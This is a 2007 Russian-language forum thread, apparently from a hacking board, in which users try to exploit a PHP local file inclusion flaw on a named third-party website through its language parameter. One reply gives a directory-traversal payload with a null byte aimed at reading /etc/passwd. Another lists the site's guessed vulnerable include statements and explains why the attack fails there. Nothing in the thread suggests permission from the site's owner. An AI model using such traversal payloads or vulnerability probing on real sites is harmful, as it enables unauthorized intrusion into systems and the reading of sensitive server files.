PDA

Просмотр полной версии : Не совсем понятный инклюдинг


BLOODY_MAKS
19.07.2007, 19:13
вот в чем проблема url
/index.php?dir=home/investors&new_language=ru
инклюдит
languages/lang.ru.php
а например
/index.php?dir=home/investors&new_language=fack
выводит
languages/lang.fack.php
есть ли вожможность затереть land ?
если интересно сайт
nadex.by

ENFIX
19.07.2007, 19:18
скорее всего там функция вида:

include("languages/lang.".$_GET['new_language'].".php");

если не фильтруются "." и ".." можно попробовать
/index.php?dir=home/investors&new_language=./../../../../../../etc/passwd%00
хз прокатит или нет

BLOODY_MAKS
19.07.2007, 19:26
Не катит :((
Хотя %00 при хтмл кодировке не фильтруеца

+toxa+
19.07.2007, 19:28
Как таковых там 5 инклудов звисящих от параметра new_language:
первый это который описал ENFIX, второй это
include("html/left.".$_GET['new_language']);
третий
include("html/left.2.".$_GET['new_language']);
четвертый
include("html/".$_GET['dir']."/index.".$_GET['new_language']);
и пятый
include("html/".$_GET['dir']."/index.2.".$_GET['new_language']);

Инклуд провести не получится ибо папок index.2., index., left.2. и left. не существует и при данной конфигурации сервера низя проинклудить файлы, путь к которым идёт через несуществующую диру=\